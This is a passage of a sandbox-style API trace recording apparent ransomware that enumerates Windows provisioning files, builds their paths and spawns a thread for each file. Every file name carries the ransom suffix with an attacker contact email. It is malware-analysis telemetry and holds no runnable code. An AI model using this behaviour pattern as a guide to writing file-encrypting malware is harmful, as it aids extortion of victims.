lpThreadId=0x0) returned 0x3ac [0176.667] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d2aa949, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="108__C~1.D0E")) returned 1 [0176.667] wcscmp (_String1="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.667] wcscmp (_String1="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.667] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16a) returned 0x2f98f60 [0176.667] wcscpy (in: _Dest=0x2f98f60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.667] wcscat (in: _Dest=0x2f98f60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.667] wcscat (in: _Dest=0x2f98f60, _Source="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" [0176.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f98f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4 [0176.669] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d284584, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x38b, dwReserved0=0x0, dwReserved1=0x0, cFileName="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="109__C~1.D0E")) returned 1 [0176.669] wcscmp (_String1="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.669] wcscmp (_String1="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.669] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18e) returned 0x2f990d8 [0176.669] wcscpy (in: _Dest=0x2f990d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.669] wcscat (in: _Dest=0x2f990d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.669] wcscat (in: _Dest=0x2f990d8, _Source="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f990d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x664 [0176.670] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90116bb1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90116bb1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d2380c8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x389, dwReserved0=0x0, dwReserved1=0x0, cFileName="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="10__CO~1.D0E")) returned 1 [0176.670] wcscmp (_String1="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.670] wcscmp (_String1="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.670] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x184) returned 0x2f99270 [0176.670] wcscpy (in: _Dest=0x2f99270, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.670] wcscat (in: _Dest=0x2f99270, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.670] wcscat (in: _Dest=0x2f99270, _Source="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f99270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660 [0176.671] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d19f806, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x381, dwReserved0=0x0, dwReserved1=0x0, cFileName="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="110__C~1.D0E")) returned 1 [0176.671] wcscmp (_String1="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.671] wcscmp (_String1="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.671] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18a) returned 0x2f99400 [0176.671] wcscpy (in: _Dest=0x2f99400, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.671] wcscat (in: _Dest=0x2f99400, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.671] wcscat (in: _Dest=0x2f99400, _Source="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.671] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f99400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c [0176.672] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d179772, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x350, dwReserved0=0x0, dwReserved1=0x0, cFileName="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="111__C~1.D0E")) returned 1 [0176.674] wcscmp (_String1="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.674] wcscmp (_String1="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.674] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18a) returned 0x305e470 [0176.674] wcscpy (in: _Dest=0x305e470, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.674] wcscat (in: _Dest=0x305e470, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.674] wcscat (in: _Dest=0x305e470, _Source="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305e470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4 [0176.675] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904aa5c6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904aa5c6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8cf3d473, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x39b, dwReserved0=0x0, dwReserved1=0x0, cFileName="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="112__C~1.D0E")) returned 1 [0176.675] wcscmp (_String1="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.675] wcscmp (_String1="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.675] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x194) returned 0x305e608 [0176.675] wcscpy (in: _Dest=0x305e608, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.675] wcscat (in: _Dest=0x305e608, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.675] wcscat (in: _Dest=0x305e608, _Source="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305e608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a0 [0176.676] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904aa5c6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904aa5c6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8ce3236f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x38b, dwReserved0=0x0, dwReserved1=0x0, cFileName="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="113__C~1.D0E")) returned 1 [0176.676] wcscmp (_String1="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.676] wcscmp (_String1="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.676] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x188) returned 0x305e7a8 [0176.676] wcscpy (in: _Dest=0x305e7a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.676] wcscat (in: _Dest=0x305e7a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.676] wcscat (in: _Dest=0x305e7a8, _Source="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305e7a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc [0176.677] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904aa5c6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904aa5c6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8cdbfa45, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x34c, dwReserved0=0x0, dwReserved1=0x0, cFileName="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="114__C~1.D0E")) returned 1 [0176.677] wcscmp (_String1="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.677] wcscmp (_String1="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.677] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x188) returned 0x305e938 [0176.677] wcscpy (in: _Dest=0x305e938, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.677] wcscat (in: _Dest=0x305e938, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.677] wcscat (in: _Dest=0x305e938, _Source="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305e938, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8 [0176.677] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904aa5c6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904aa5c6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8cea4a83, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="115__C~1.D0E")) returned 1 [0176.678] wcscmp (_String1="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.678] wcscmp (_String1="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.678] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x192) returned 0x305eac8 [0176.678] wcscpy (in: _Dest=0x305eac8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.678] wcscat (in: _Dest=0x305eac8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.678] wcscat (in: _Dest=0x305eac8, _Source="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305eac8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc [0176.678] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904d0836, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904d0836, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d1534e1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x346, dwReserved0=0x0, dwReserved1=0x0, cFileName="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="116__C~1.D0E")) returned 1 [0176.678] wcscmp (_String1="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.678] wcscmp (_String1="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.678] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x17e) returned 0x305ec68 [0176.679] wcscpy (in: _Dest=0x305ec68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.679] wcscat (in: _Dest=0x305ec68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.679] wcscat (in: _Dest=0x305ec68, _Source="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305ec68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x700 [0176.679] FindNextFileW (in: hFindFile=0x2f80360, 